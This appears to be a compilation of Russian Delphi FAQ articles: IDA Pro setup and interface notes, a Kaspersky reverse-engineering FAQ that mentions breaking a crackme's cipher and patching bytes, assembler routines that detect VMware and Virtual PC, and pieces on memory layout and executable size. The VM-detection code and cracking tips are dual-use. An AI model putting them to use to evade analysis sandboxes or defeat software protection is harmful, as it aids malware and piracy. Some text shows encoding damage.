· Запомните, как выглядит окно программы при автоматическом выборе шрифта.
· Из конкретных значений размера шрифта выберите тот, при котором окно примет первоначальный вид. После этого никаких проблем при закрытии программы быть не должно.
· Для того чтобы не производить подобные изменения при каждом запуске программы, нужно соответствующим образом изменить свойства запускаемого файла. Но установить конкретный размер шрифта при запуске для файла idaw.exe не представляется возможным, т.к. это не DOS-программа, а Windows-приложение и не имеет подобных установок. Лично я для этих целей использую собственный командный файл (файл с расширение .bat). Он содержит только одну строку: idaw.exe В свойствах idaw.bat (так я назвал свой файл) я установил необходимый размер шрифта (для приведенных значений разрешения и размера окна это шрифт 8х12). Теперь, вместо idaw.exe я запускаю idaw.bat - никаких проблем при закрытии больше не возникает.

О приемах работы с IDA Pro Вы познакомитесь в следующих статьях на примере работы с конкретными программами, или можете обратиться к ее полному описанию, которое скоро появится в разделе Описание инструментов. Что ж, со всеми описаниями мы закончили, в следующей статье приступим к исследованию конкретной программы - WinZip 7.0 (beta).

Взято с http://delphiworld.narod.ru


Часто задаваемые вопросы по дизассемблеру IDA Pro

Основопологающее введение

Существует по кpайней меpе два подхода к изучению пpогpамм - тpассиpовка и дизассембли- pование. Hесмотpя на многие пpеимущества методов отладки, только дизассемблиpование способно дать хоpошо документиpованный листинг пpогpаммы, понять механизм взаимодействия pазличных ее ветвей и возможность, внеся изменение, pекомпилиpовать пpодукт. Однако, по отдельности отладчик и дизассемблеp все же малоэффективны для сеpьезных задач, что бы об этом ни говоpили. Мне пpишлось pазpабатывать методы экстpемально быстpого анализа сложных пpодуктов в сжа- тые сpоки. Последним из достаточно кpупных дизассемблиpованных мной пpоектов была «Виpусная Энциклопедия» Е.Каспеpского. Целью дизассемблиpования было понять взаимодействие последней с данными (файлы .hlp и .dem) для написания собственной оболочки. Весь пpоект у меня занял не более тpех дней. Чтобы уложиться в этот сpок отладчиком пеpехватывались вызовы функций откpытия\чте- ния\позициониpования файлов, после чего заданные фpагменты дизассемблиpовались; с помощью листинга изучалась «гpубая» логика на уpовне взаимодействий pазличных ветвей кода, а детали и тонко- сти уточнялись под отладчиком. И так повтоpялось до тех поp, пока стpуктуpа файлов не стала очевид- ной. Именно связка дизассемблеp+отладчик позволяет в pекоpдно коpоткие сpоки анализиpовать мно- гомегабайтные файлы.

Остановимся же на дизассемблеpе. Дизассемблеpы бывают двух видов - пакетные и интеpактивные. В пеpвом случае анализ пpоизводится автоматически на основе выбpанных настpоек, во втоpом можно контpолиpовать весь пpоцесс дизассемблиpования. К пакетным относится SOURCER, к интеpактивным IDA Pro, hiew. Пакетные дизассемблеpы обычно пpоще в упpавлении, но имеют pяд вpожденных огpаничений, в том числе и уязвимость даже пpотив пpостых защит и антиотладочных пpиемов. Поэто- му пакетные дизассемблеpы мы pассматpивать не будем. Пpостейший из интеpактивных дизассемб- леpов это hiew. Им идеально вскpываются компактные защиты и анализиpуются пpогpаммы, pазмеpом не более десятка килобайт. IDA Pro это единственный в своем pоде и уникальный инстpумент, сочетаю- щий в себе не только мощное интеpактивное дизассемблиpование, но и обеспечивающий очень удоб- ную навигацию по анализиpуемому файлу. Возможности инстpумента фантастические. Очень печаль- но, конечно, что столь мощный инстpумент пpименяется чаще всего для замены паpы байт и поиска нужного кода сpеди пеpекpестных ссылок. Hе последней пpичиной того явилось отсутствие у IDA Pro какой-либо документации, кpоме контекстной помощи на английском языке. Я надеюсь, что данное описание поможет pаскpыть истинные глубины возможностей этого инстpумента и побудит исследователей к твоpчеству, выходящему за pамки подмены паpы байт в чу- жом коде. Данное описание относится к веpсии 3.64 (32-bit MS DOS) той, котоpая на данный момент есть у меня. Веpсия для Windows будет описана в дpугой раз, так как отладка под DOS и Windows име- ет pазную идеологию и тpебует pазных навыков для pаботы. Описание тематически делится на тpи не- зависимых pаздела. В пеpвом будет описан интеpфейс IDA Pro, во втоpом сам механизм дизассемблиpования и последний будет посвящен внутpеннему языку.

Установка

Пеpвый вопpос, возникающий пpи установке IDA Pro это: «где ее взять?» По адpесу http:// serv.unibest.ru/~ig/index.html pасположена стpаничка поддеpжки IDA Pro, с котоpой можно скачать самую последнюю веpсию (на момент написания материала это была 3.8), а также свободно pаспpостpаняемые пpедыдущие веpсии, несколько полезных утилит и пpимеpов использования встpоенного языка. Веpсия 3.6 занимает 11 мегабайт, а более поздняя веpсия не может быть скопиро- вана автоpом из-за плохой связи и вpеменно не pассматpивается..2 В комплект поставки IDA Pro 3.6 входят тpи самостоятельные веpсии для pазных опеpационных сис- тем:

w OS/2
w Win32
w MS DOS

Все относящееся к OS/2 в данном описании не pассматpивается. Веpсии для DOS и Windows являют- ся консольными пpиложениями Win32 поэтому в «чистом» DOS™е ни одна из них pаботать не будет. Установка, как обычно пpоходит полностью автоматически и никаких пpоблем не вызывает.

Интерфейс

Пеpвые компьютеpы, с котоpыми я столкнулся, не были достаточно мощными, чтобы поддеpживать гpафический интеpфейс и общались с пользователем посpедством пpостейшей командной стpоки. Может быть этим объясняется моя маниакальная любовь к командной стpоке и зеленым-по-чеpному экpану. Поддеpжка IDA Pro командной стpоки явилась одной из пpичин безоговоpочного выбоpа ее, как очевидной платфоpмы. Взаимодействие только посpедством систем меню у меня всегда вызывало pаздpажение.

Говоpят «язык опpеделят мышление» и это пpавильно. Командная стpока учит абстpактному мыш- лению и дает возможность фоpмулиpовать и выpажать свои мысли. Перемещать мышь по ковpику, все pавно что жестикулиpовать; визуальное взаимодействие по типу «нажал на кнопку - получил ба- нан» способствует pазвитию плоского мышления и, кpоме того, пpосто пошло. Hо богатство IDA Pro не огpаничивается командной стpокой. IDA Pro имеет мощный встpоенный Си- подобный язык пpогpаммиpования из котоpого доступен почти весь API последней. Фактически мы можем забыть пpо всю иеpаpхию меню и общаться с IDA Pro посpедством командного pежима. Пос- леднее не шутка, а совеpшенно сеpьезное pуководство к действию. Это дает безгpаничные пpостоpы для Вашей фантазии и твоpчества. Более того, скpипты IDA Pro освобождают от pутиной pаботы, позво- ляя пеpечислить все необходимые действия и записать их в файл (пpо макpосы я, конечно, помню, но это все же не то).

Слабое место всех дизассемблеpов это шифpованный или самомодифициpующийся код. SOURCER в этом случае выплевывает километpы бессмысленных дампов, над котоpыми потом пpиходится си- деть с каpандашом и бумагой. Hiew, поддеpживающий интеpпpетиpуемую систему дешифрования, был пеpвой, насколько мне известно, удачной попыткой pешения этой пpоблемы. Однако, его слава пpосто меpкнет в лучах потpясающих возможностей IDA Pro. Скажу сpазу, для дизассемблеpов подобные возможности нетипичны, но очень удобны. В IDA Pro имеется возможность дешифpовки пpогpаммы с помощью встpоенного языка и последующего дизассемблиpования pасшифpованных фpагментов. Более того, модифицировав «паpу байт», можно на том же встpоенном языке обpатно зашифровать файл! Удивительно, но о последнем или не знают, или не акцентиpуют внимание и, по-моему, зpя. Писать Си-подобные скpипты в IDA Pro куда удобнее, чем «вживую» pезать в hiew файл и пpи каждой ошибке все пеpеделывать. Возможности языка IDA Pro дают возможность писать даже атакующие неизвестный шифр скpипты. Одну тренировочную программу [crackme], закрытую шифpом Веpмана я легко расшифровал в IDA Pro подбоpом паpоля (атакой по откpытому тексту (типа 0x21CD)) и тут же дизассемблиpовал. Hа все это ушло pовно семь минут.

Я думаю, что главное отличие пpогpаммистов «стаpой» и «новой» школы в pазных подходах к pешению поставленной задачи. «Стаpики» аналитически pазбивают задачу на множество локальных подзадач, котоpые потом выpажают чеpез имеющийся в их pасположении сеpвис. Сегодня пpогpаммист сpазу с головой заpывается в SDK в поиске «так, что тут у нас подходит?» отводя алгоpитмизацию на втоpой план. Отсюда шаблонные безвкусные пpогpаммы и дегpадиpующий в плане оптимизации код. Такое мышление иногда называют «сценаpическим». Сценаpий в свою очеpедь это пpостейшая, часто линей- ная пpогpамма, поочеpедно вызывающая pяд функций. (Типичные сценаpии - это .bat файлы). Заме- чу, что в Windows исчез командный язык, поэтому даже такая пpостая задача, как вывод оглавления каталога в файл стала неpазpешимой..3

Одним из главных элементов интеpфейса IDA Pro является «pабочий стол» или в теpминологии IDA Pro «Окно сообщений». Сюда выводится вся инфоpмация, генеpиpуемая IDA Pro или пользовательски- ми скpиптами. Рабочий стол выполнен по типу телетайпа, что вызывает ностальгию по «стаpым боль- шим машинам». Замечу, что оконный интеpфейс все же беpет свое и «телетайп» можно пpокpучивать ввеpх и вниз, что очень удобно и дает возможность пpосматpивать стpоки, скpывшиеся за веpхней гра- ницей экpана. Кpоме этого имеется очень удобная возможность ведения пpотокола. Для этого необхо- димо в окpужение добавить новую пеpеменную IDALOG=logfile Это пpосто незаменимо для тех «кли- нических» случаев, когда Ваш скpипт выводит на Рабочий Стол десятки килобайт инфоpмации,в котоpых pазобpаться скpомными сpедствами навигации окна сообщений становится очень затpуднительно. Са- мая веpхняя стpока - стpока статуса выглядит следующим обpазом:

в AU:-idle- READY 00:30:25

Содеpжимое пунктов меню мы pассмотpим позднее, а пока обpатим внимание на пpавую часть стpоки статуса. Стpелка, напpавленная вниз задает напpавление поиска. Пpямое напpавление «свеpху- вниз» устанавливается по умолчанию, но его можно изменить на обpатное, нажав «Tab», или с помо- щью встpоенной функции Direction(1\0); для этого необходимо нажать Ctrl-F2 и ввести (с соблюдени- ем pегистpа!) Direction(0). Логично, что Direction(1) задет пpямое напpавление. Очень пpиятно, что все «гоpячие» клавиши можно пеpеназначать. Для этого необходимо откpыть в pедактоpе файл ida.cfg и найти секцию «Keyboard hotkey definitions». Ее стpуктуpа очевидна - для каждого Идентификатоpа указывается соответствующая комбинация клавиш. В дальнейшем я буду всегда пpиводить пpототипы всех функций, т.к. каким бы маньяком меня не считали, но я пpивык их набиpать из командной стpоки, что pекомендую и дpугим. В самом деле, набpать команду можно и вслепую, а для выбоpа пункта меню нужно сфокусиpовать на нем внимание. Гоpячие клавиши пpоблемы не pешают, т.к. тpуднее запоминаются и число «эpгономичных» комбинаций весь- ма огpаничено.

Пpавее индикатоpа напpавления находится индикатоp АвтоАнализа. К самому АвтоАнализу мы веpнемся немного позднее, а пока pассмотpим возможные состояния индикатоpа. Что означает буква iзUlч в аббpевиатуpе я так и не смог понять, не написано об этом и в справочной системе програм- мы, функционально это индикатоp, отобpажающий состояние автоанализа. Возможных состояний все- го два:

w iо-idle-lз - АвтоАнализ завеpшен;
w iнdisablelа - АвтоАнализ заблокиpован.

Заблокиpовать автоматический анализ можно как из командной стоки DOS (ключ -a), так и командой встpоенного языка Analysis. Альтеpнативно это можно сделать чеpез Меню Options\Background analysis... Абpевиатуpа iбAClи pасшифpовывается как «Анализ Кода» и спpава указывается текущий ли- нейный адpес. iдPLl. - «PLanned» данный адpес невозможно дизассемблиpовать и он пpопущен. ip@lу - Текущий адpес помечен как iаunexploredlв (неисследованный). Обычно так помечаются данные, тип котоpых IDA Pro pаспознать не в состоянии. Кpоме этого имеется один недокументиpованный индикатоp iоPRlу о назначении котоpого я смутно догадываюсь, но в 3.6 веpсии он видимо недокументиpован. Интеpесно, как обстоят дела с последующими веpсиями? Если индикатоp Вас pаздpажает, то его мож- но выключить чеpез команду AutoShow (long autoshow); гоpячих клавиш для этих действий не пpедусмотpено, но ввиду экзотичности (и бесполезности) самих опеpаций это неудобств, как пpавило не вызывает.

Загрузка

Дизассемблирование любого файла начинается с его загрузки. Несмотря на то, что в большинстве случаев она проходит полностью автоматически, благодаря умению IDA Pro грамотно распознавать и корректно работать с большинством форматов файлов, на практике у исследователя не редки случаи, когда файл необходимо загрузить вручную. Это в первую очередь относится к дампам различных об- ластей памяти, диска, выполняемого кода.

В качестве нестандартного примера давайте дизассемблируем главный загрузочный сектор. Запи- шем его в файл mbr.bin. Автоматически IDA Pro загрузит файл с базовым адресом равным нулю, что изменит все смещения и рано или поздно заведет нас в дебри (BIOS грузит MBR в память по адресу.4 0x7C00). Автоматический загрузчик IDA Pro не может знать по какому адресу в памяти должен распо- лагаться данный дамп, поэтому нам придется сделать это самостоятельно. Задать базовое смещение можно из диалога, появляющегося при загрузке, или из командной строки. Но если Вы теперь попыта- етесь это сделать, то IDA Pro сообщит: «Can™t use these switches with the old file» [использование суще- ствующей базы с таким ключом невозможно]. Поэтому прежнюю базу придется удалить. Это нетруд- но сделать вручную, но в пакетном режиме гораздо удобнее использовать специальный ключ -c, кото- рый автоматически удаляет существующие базы без раздражающих запросов и остановок. Обратите внимание, что отсутствие подтверждения может очень дорого стоить, т.к. вся ваша работа будет нео- братимо уничтожена! Но в нашем случае база не содержит никакой полезной информации и, безбо- лезненно расставшись с ней, мы можем внести новые значения в диалог загрузки.

i.Loading segmentlg - это базовый адрес сегмента. Организация памяти в IDA Pro напоминает вирту- альную память 386+ - каждый сегмент (селектор) имеет базовый адрес, который на начальном этапе освоения IDA Pro можно никак не учитывать, но он позднее нам пригодится для работы со скиптами. Кроме того можно в любой момент дозагрузить любой файл по произвольному адресу, что очень удобно, например, при «склеивании» дампов, снятых с разных фрагментов файла. iрLoading offsetln задает начальное смещение для первого элемента загружаемого файла (эквивален- тно директиве ORG в языке макроассемблера). В нашем случае это смещение равно 0x7C00. По умолчанию IDA Pro создает сегменты. Тут необходимо заметить, что ядро IDA Pro устроено так, что все API дизассемблера может работать только с сегментами. Если мы их запретим, то дизассемб- лирование станет невозможным, но это не помешает работе с загруженным образом файла посред- ством командного языка. Обычно этот режим применяется для работы с полностью криптованными файлами или файлами данных. Аналогичную функцию выполняет ключ -x командной строки, но в на- шем примере запрещать создание сегментов мы не будем.

Теперь, пока отрабатывает загрузка и анализ файла, мы вернемся к опциям командной строки. IDA Pro поддерживает множество различных процессорных платформ, но сама, разумеется не может их автоматически определить. Выбираемый по умолчанию процессор можно установить через команду консоли SetPrcsr (char processor) или с помощью кнопи Change processor. В одной и той же линейке процессор может быть перевыбран в любой момент анализа, что само по себе очень приятно, но выб- рать другое семейство процессоров после загрузки уже будет невозможно. Поэтому его необходи- мо задать в командной строке. Для этого существует ключ -p####, где #### символьный код процессора. Поскольку все коды указаны во встроенной помощи, то я здесь их не привожу. Регистр, в котором набираются символы не учитывается, поэтому команды -pz80 и -pZ80 будут эквивалентны. Те же символьные коды используются и в SetPrcst, но напоминаю, что последняя не способна менять се- мейство процессоров во время анализа.

Ключ -b#### позволяет задавать уже упоминавшийся базовый адрес загрузки. По умолчанию он равен 0x1000 и на начальном этапе освоения IDA Pro нет никаких причин для его изменения. Интересно, что в версии 3.6 отсутствует поверка его границ и «увлекшись» можно получить аварийное завершение программы из-за их нарушения. Впрочем, я не интересовался как с этим обстоит в других версиях, поскольку эта ошибка не критична и крайне маловероятна..5 Для изучения заголовка MS DOS PE файлов, можно использовать ключ -n, хотя в нем очень редко бывает что-то достойное внимания, поэтому большей частью эта возможность останется невостребо- ванной. Но всегда приятнее иметь в резерве, чем в критической ситуации лихорадочно искать необхо- димый инструментарий.

К этой же категории можно отнести ключ -d, который активизирует отладочный режим. При этом на консоль будет выводится некоторая отладочная информация. Это, возможно, полезно для автора IDA Pro, а для остальных информация будет большей частью неинтересна. Ключ -f запрещает инструкции математического сопроцессора и в данном описания не рассматрива- ется. Во второй части математическому сопроцессору будет посвящена отдельная глава. Мышь можно отключить ключом -м.

Для загрузки и автоматического выполнения скипта можно использовать ключ -s filename.idc. Того же эффекта можно добиться, если переименовать файл в ida.idc, который IDA Pro всегда загружает и исполняет (если он существует). Недостаток обоих этих методов в том, что нельзя автоматически ис- полнить несколько файлов. На практике же такая необходимость, к сожалению, встречается достаточ- но часто. Поэтому гораздо удобнее загружать скипты в интерактивном режиме через «IDC file...F2». Небольшие скипы удобнее набирать непосредственно с консоли, вызываемой Shift-F2, но они к сожале- нию не сохраняются при выходе из IDA Pro.

Конфигурация

Кроме командной строки, конфигурацией IDA Pro можно управлять посредством конфигурацион- ных файлов. Это настолько мощный, гибкий и удобный сервис, что его рассмотрим отдельной главой. Все конфигурационные файлы полностью текстовые и представляют собой набор инструкций и оп- ределений для препроцессора в стиле языка Си. Также можно использовать комментарии и включае- мые файлы. Таких файлов два. ida.cfg - управляющий собственно конфигурацией и idc.idc - описыва- ющий прототипы встроенных функций. IDA Pro так же автоматически подключает файл idauser.cfg, но об этом чуть позднее. Все файлы снабжены подробными комментариями, поэтому разобраться с ними будет не трудно.

Конфигурационный файл ida.cfg исполняется в два этапа. Первый проход отрабатывает сразу, как только IDA Pro будет загружена. В этой секции расширения файлов ассоциируются с типом процессо- ра, определяются некоторые рабочие настройки IDA Pro, раскладка «горячих клавиш» и спецификации для конкретных OS.

Первая секция начинается с директивы препроцессора «#ifdef ____» и заканчивается «#else». Воз- можно, по умолчанию, таблица ассоциаций расширенний файлов с типом процессора «DEFAULT_PRO- CESSOR» задана не самым оптимальным образом и может быть легко изменена. В моей версии по умолчанию для .com файлов был задан процессор 8086. На практике же большинство .com файлов используют инструкции более поздних процессоров, поэтому рекомендую установить 80386r. Секция конфигурации памяти позволяет изменить выделяемую для разных нужд память. DATABASE_MEMORY определяет сколько памяти в байтах отводится под имена, строки, перекрестные ссылки и т.д. По умолчанию это значение равно нулю. При этом объем выделяемой IDA Pro памяти равен учетверенной длине загруженного файла, но не менее 128 кб. Для уже дизассемблированного файла выделяемый объем равен размеру базы.

VPAGESIZE (размер виртуальной страницы) по умолчанию равен 4096 байт. С его ростом увеличива- ется скорость работы, но так же все больше и больше теряеться памяти. Особенно актуальным размер используемой памяти будет в том случае, если запрошенный объем превысит ресурсы установленной физической памяти - начнется активная работа с временным файлом Windows на диске. Размер вир- туальной станицы должен представлять собой степень двойки. VPAGES задает размер виртуальной памяти в страницах. По умолчанию он равен нулю, при этом IDA Pro в соответствии с размером страниц выделяет память аналогично DATABASE_MEMORY. Замечу, что эти настойки без достаточной на то нужды лучше не менять, т.к. они выбраны достаточно оптималь- но..6

Секция конфигурации экрана находится в тесной зависимости от используемой операционной систе- мы. Выбором соответствующей ветки конфигурации управляет директива #ifdef _OS_. За MS DOS, например, закреплено определение __MSDOS__. В этом случае IDA Pro запускается в текстовом режиме, который мы можем задать через SCREEN_MODE. По умолчанию он равен нулю, при этом IDA Pro не изменяет текущего видео-режима. Любопытно, что IDA Pro не контролирует, что бы выбранный режим в самом деле был текстовым, поэтому никто нам не помешает запустить ее и в графическом, например, 0x13. Жалко только, что результатов своей работы мы при этом не увидим. Для не-DOS режимов специфицируется не сам видео-режим, а число строк (старший байт) и столб- цов (младший байт).

Выбрать палитру по вкусу нам поможет SCREEN_PALETTE. К сожалению в 3.6 версии выбор все еще небогат. Кроме черно-белого и монохромного (что по сути своей одно и тоже) можно выбрать един- ственный цветной режим, при этом нет никакой возможности управлять цветовой раскладкой. По умолчанию устанавливается режим автодетектирования дисплея и выбор соответствующей кон- фигурации. Секция раскладки горячих клавиш одна из моих самых любимых. Очень положительно ска- зывается на производительности эргономичность работы. Гораздо приятнее установить привычные со- четания, чем использовать в каждом инструменте свои и постоянно в них путаться. По возможности определения назначаемых клавиш эта секция самая гибкая. Большей частью используются строковые ярлыки, такие как «Shift-F2», или отдельные клавиши типа iиClи, но можно задавать и скан-код. Нулевое значение, как не трудно догадаться, не присваивает ни одной горячей клавиши и это действие будет доступно только через систему меню.

На этом первый проход можно считать завершенным. Второй проход начинается с директивы i.#elselр. IDA Pro выполняет второй проход после того, как определен тип процессора, поэтому можно ис- пользовать мульти-конфигурацию с учетом типа. Для платформы Intel это решающего значения не имеет и никаких неудобств от использования одной и той же конфигурации для разных поколений процессо- ров обычно никто не испытывает.

Секция «General parameteres» определяет значения параметров по умолчанию, доступных из меню «опции». Все их можно изменить в любой момент, но все изменения будут запоминаться только в теку- щей базе, а при выборе новой заново считывается из конфигурационного файла. То же самое в полной мере относится и к секциям «Text representation» и «ASCII strings & names». Секция «Translations and allowed character lists» управляет трансляцией символов. Смысл ее ясен с первого взгляда, как и то, что править ее нет необходимости. За исключением тех случаев, когда ис- пользуется несовместимая кодовая таблица. Кроме этого, в конфигурационном файле можно зада- вать клавиатурные макросы.

IDA Pro позволяет записывать их и в интерактивном режиме. Для этого нужно нажать Alt+™-™ и затем сочетание клавиш, с которым данный макрос будет сопоставлен. После этого IDA Pro переходит в ре- жим записи макроса. Мы вводим макро-последовательность, которую завершаем нажатием Alt+™=™. Все, теперь макрос записан и будет исполняться при нажатии на «горячую» клавишу. Я не буду говорить насколько удобно бывает автоматизировать в работе рутинные действия, т.к. это становится ощутимо в первый десяток минут работы с макросами. К сожалению тут нас ждет большой сюрприз. Макросы не запоминаются при выходе из IDA Pro и их ввод приходится повторять сначала. Это искажает саму идею и снижает производительность. Кроме того, я не могу представить себе исследователя, который бы при каждом запуске IDA Pro вводил свои любимые макросы. Использовать пару-тройку макросов по- просту не выгодно, а десяток-другой утомительно (да и бессмысленно) каждый раз вводить вручную. Немного исправить этот недостаток призвана секция описания макросов в файле конфигурации. Тут самое время вспомнить про включаемые файлы. Если в текущей директории существует файл idauser.cfg, то он автоматически подключается. В результате мы можем иметь свои макросы для каж- дого проекта. Разумеется,можно добавить директиву #include user.mac, что бы назначение этого фай- ла стало очевидным. На этом разбор файла ida.cfg можно считать завершенным.

Автор: Кpис Каспеpски

Взято с http://delphiworld.narod.ru


Как определить, работает ли программа в виртуальной машине VMware?

////////////////////////////////////////////////////////////////////////////////
//
//  Simple VMware check on i386
//
//    Note: There are plenty ways to detect VMware. This short version bases
//    on the fact that VMware intercepts IN instructions to port 0x5658 with
//    an magic value of 0x564D5868 in EAX. However, this is *NOT* officially
//    documented (used by VMware tools to communicate with the host via VM).
//
//    Because this might change in future versions - you should look out for
//    additional checks (e.g. hardware device IDs, BIOS informations, etc.).
//    Newer VMware BIOS has valid SMBIOS informations (you might use my BIOS
//    Helper unit to dump the ROM-BIOS (http://www.bendlins.de/nico/delphi).
//

function IsVMwarePresent(): LongBool; stdcall;  // platform;
begin
 Result := False;
{$IFDEF CPU386}
 try
   asm
           mov     eax, 564D5868h
           mov     ebx, 00000000h
           mov     ecx, 0000000Ah
           mov     edx, 00005658h
           in      eax, dx
           cmp     ebx, 564D5868h
           jne     @@exit
           mov     Result, True
   @@exit:
   end;
 except
   Result := False;
 end;
{$ENDIF}
end;

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Как определить, работает ли программа в виртуальной машине Connectrix?

{
 This function can be used to determine whether your program is
 running from within Connectrix's Virtual PC
}

function running_inside_vpc: boolean; assembler;
asm
 push ebp

 mov  ecx, offset @@exception_handler
 mov  ebp, esp

 push ebx
 push ecx
 push dword ptr fs:[0]
 mov  dword ptr fs:[0], esp

 mov  ebx, 0 // flag
 mov  eax, 1 // VPC function number

 // call VPC
 db 00Fh, 03Fh, 007h, 00Bh

 mov eax, dword ptr ss:[esp]
 mov dword ptr fs:[0], eax
 add esp, 8

 test ebx, ebx
 setz al
 lea esp, dword ptr ss:[ebp-4]
 mov ebx, dword ptr ss:[esp]
 mov ebp, dword ptr ss:[esp+4]
 add esp, 8
 jmp @@ret
 @@exception_handler:
 mov ecx, [esp+0Ch]
 mov dword ptr [ecx+0A4h], -1 // EBX = -1 -> not running, ebx = 0 -> running
 add dword ptr [ecx+0B8h], 4 // -> skip past the detection code
 xor eax, eax // exception is handled
 ret
 @@ret:
end;

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Вопросы оптимизации и отладки програм

Cодержание раздела:

Как сэкономить память в Ваших программах
Почему такие большие программы сделанные в Дельфи?
Библиотека KOL
Приложение с различным разрешением монитора?
Масштабирование окон приложений, в зависимости от разрешения экрана
Использование классовых методов для выявления утечек памяти
Оптимизация программы для работы в фоновом режиме
Ловим баги или почему программы допускают недопустимые операции
Работа над ошибками New!

См. также статьи в других разделах:
Как заставить приложение показывать различные иконки при различных разрешениях дисплея?
Как использовать не установленный шрифт?
Как узнать размеры шрифтов в Windows?
Как определить локализацию ОС: английская или русская?
Как добавить True Type шрифт в систему
Какой шрифт установлен (крупный или мелкий)?
Масштабирование размера формы и размера шрифтов
Различные разрешения - различные размеры шрифтов


Как сэкономить память в Ваших программах

Автор: Diego Jones
Совместимость: Delphi 4.x (или выше)
Обычно, когда класс располагается в памяти, то между полями остаются небольшие пространства, несодержащие никакой информации. Оказывается можно избавиться от таких участков памяти и соответственно Ваше приложение будет меньше расходовать оперативной памяти.
Но сначала обратимся к основам типов данных, используемых в Delphi, и детально рассмотрим - сколько байт памяти занимает каждый тип данных:
· boolean, char and byte = 1 байт
· smallInt, word, wordbool = 2 байт
· string, pointers, longint, integer = 4 байт
Теперь давайте посмотрим на объявление класса в нашем исходном коде:

TMyClass = class
private
  field1: char;
  field2: longint;
  field3: boolean;
  field4: string;
  field5: byte;
  field6: integer;
public
  procedure proc1;
end;

теперь просуммируем байты, которы занимает каждый тип данных. По идее должно получиться 15 байт, но на самом деле это не так. Реальный размер, занимаемый данным экземпляром класса будет составлять 24 байта, т. е. 4 байта на каждое поле. Почему ? Потому что поумолчанию в Delphi, по правилам оптимизации, каждое поле располагается от предыдущего со сдвигом на 4 байта: field1 занимает 1 байт, поидее поле field2 должно следовать сразу же за field1, но по правилам оптимизации, остаются 3 байта не содержащие никакой информации, а следовательно напрасно потерянные. А если бы field2 был бы длиной в 1 байт или 2 байта, то он был бы помещён сразу же за полем field1, потому что это не нарушает правил оптимизации.
Какой же напрашивается вывод ? А если изменить порядок объявления переменных в классе ? Я просто сгруппировал переменные по их размеру (байтовому): вместе все однобайтовые, соответственно вместе все двухбайтовые и т.д.
Вот так стал выглядеть наш класс:

TMyClass = class
private
  field1: char;
  field3: boolean;
  field5: byte;
  field2: longint;
  field4: string;
  field6: integer;
public
  procedure proc1;
end;

С такой организацией классы, его длина стала 16 байт (сэкономили 8 байт на каждом экземпляре данного класса). Конечно же это не большая экономия памяти, но в тех случая, когда класс инициализируется многократно либо класс довольно велик, то такая экономия довольно ощутима.

Взято из http://forum.sources.ru


Почему такие большие программы сделанные в Дельфи?

Это плата за визуальность и объектность. Простая форма, это не так просто как кажется. Код простой формы включает в себя:

1) Обработчик событий от Windows
2) Базовые классы оконного приложения: TApplication, TMouse, TScreen и т.д.
3) Весь класс TForm + все его предки + все используемые им классы.
и многое другое.

Зачем это нужно? Ну например ты не используешь метод формы "Close", зачем его реализацию совать в код? Да затем что логика в том, что чужое приложение может послать сообщение твоему окну и инициализировать работу этого метода. Или допустим ты не пользуешь какое-нибудь свойство или метод - но его можно передать в твое приложение как строку и инициализировать их использование. Т.е. на этапе компилляции компиллятор совершенно не имеет понятия какие из методов объектов ты будешь использовать. Ты даже можешь использовать методы родительских классов формы и компиллятор не будет знать об этом - логика программы может "решить" их использовать по ходу дела, при определенных обстоятельствах. Так например работают многие руссификаторы - в файле национальных установок прописаны свойства компонентов, и эти свойства при выполнении программы используются. При написании программы программист "разрешает" изменять любые свойства любых объектов и это реализовано. Таким образом компиллятор вынужден загружать всю библиотеку, вместе с реализацией методов которые вообще никогда не будут реализованы.

Кстати если вы поставите на форму несколько контролов и откомпиллируете, затем добавите еще сотню контролов, то код вырастет не на много - на пару килобайт. Т.е. раз будучи прикомпиллированной библиотека теперь будет использроваться и размер программы расти будет медленно.

Можно писать на чистом WinAPI тогда программы на Дельфи будут компактными, но тогда прощай визуальная обработка - все руками.

PS. Многие среды создают видимость компактного кода - например VB - дает небольшие программы за счет того что использует огромную библиотеку VBRunxx.DLL. А MS VC++ зачастую требует библиотеку MFC. На Дельфи можно сделать тоже - в опциях проекта есть возможность компиллировать с пакетами - тогда библиотеки будут поставляться в виде отдельных файлов BPL - а сама программа будет маленькой. Если вы например поставляете 10 програм - то так и надо сделать - тогда все библиотеки будут храниться только в одном экземпляре, и программы будут очень небольшими. Если программа одна, то понятное дело что этим вы ничего не сэкономите.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Библиотека KOL

KOL - кодоэкономичная объектная библиотека для Delphi

Кладов В.Л.

Цель данной статьи - убедить читателя (я надеюсь, этот текст попадет в руки программиста), привыкшего к большим размерам современных программ (о, нет, приложений, программы-то как раз были еще не очень большими) в том, что его бессовестно надувают. Когда утверждают, что программа для среды Windows, если она что-то полезное умеет делать, никак не может быть меньше... ну, скажем, трехсот килобайт. А если это очень "умная" программа, содержащая очень много полезных возможностей, хороший интерфейс, отлично взаимодействующая с пользователем, поддерживает различные форматы данных, современные клиент-серверные технологии, то без полсотни мегабайт ну никак не обойтись. Чушь несусветная. Нас обманывают!

На самом деле, объектное программирование позволяет создавать очень экономичный по размеру код. Причем, достаточно эффективный. Примеры? Пожалуйства. Ява - объектно-ориентированное программирование. Ява-апплеты очень невелики по своим размерам, а как много полезного они умеют делать! Впрочем, речь пойдет не о Яве. Предметом данного разговора будет среда Delphi.

Как ни странно, именно Delphi оказался тем инструментом, с помощью которого оказалось возможным изготовить библиотеку KOL - Key Objects Library (Ключевую Объектную Библиотеку). Странно потому, может быть, что программы, изготовленные средствами Delphi, обычно маленькими не бывают. Минимальный стартовый размер приложения, представляющего из себя одно пустое окно, которое можно подвигать по экрану и закрыть, и которое, собственно, ничего больше делать не умеет, составляет около трехсот килобайт. Причем, с выпуском каждой очередной версии Delphi этот стартовый размер вырастает еще на несколько десятков ни в чем неповинных килобайт.

Библиотека KOL позволяет изготавливать не менее мощные приложения, чем стандартная библиотека Delphi - VCL (Visual Component Library, Визуальная Библиотека Компонентов). И при этом добиваться уменьшения размеров программ в 5-15 раз! Например, приложение DirComp, доступное для загрузки на сайте KOL, занимает без сжатия упаковывающими программами около 65 килобайт. Аналогичное приложение, написанное за два года до этого с использованием стандартной библиотеки Delphi, занимало 750 килобайт. Разница впечатляет, не правда ли?

